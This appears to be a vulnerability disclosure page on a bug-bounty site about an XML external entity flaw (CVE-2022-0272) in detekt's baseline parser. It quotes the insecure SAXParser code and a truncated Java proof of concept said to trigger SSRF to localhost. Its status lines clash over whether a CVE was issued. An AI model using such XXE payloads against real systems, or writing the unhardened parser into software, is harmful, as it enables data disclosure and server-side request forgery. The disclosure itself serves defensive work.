Improper Restriction of XML External Entity Reference in detekt/detekt

1

Valid Reported on Jan 16th 2022

Description

The read() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/detekt/detekt/blob/08eac68caa24ced140cc017d4de3b258a470232b/detekt-core/src/main/kotlin/io/gitlab/arturbosch/detekt/core/baseline/BaselineFormat.kt#L20-L22

```
val reader = SAXParserFactory.newInstance().newSAXParser()
val handler = BaselineHandler()
reader.parse(it, handler)
```

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

```
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTY
            SAXParser saxParser = SAXParserFactory.newInstan
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), ne
```

```
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
```

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

Occurrences

BaselineFormat.kt L20-L22

CVE
CVE-2022-0272
(Published)

Vulnerability Type
CWE-611: Improper Restriction of XML External Entity Reference

Severity
High (7.3)

Visibility
Public

Status
Fixed

Found by

ready-research
@ready-research
pro

We are processing your report and will contact the **detekt** team within 24 hours. 10 months ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` 10 months ago

Chao Zhang validated this vulnerability 10 months ago

ready-research has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Chao Zhang marked this as fixed in **1.20.0** with commit **c965a8** 7 months ago

The fix bounty has been dropped ❌

This vulnerability will not receive a CVE ❌

BaselineFormat.kt#L20-L22 has been validated ✅

Sign in to join this conversation

terms

privacy policy

Chat with us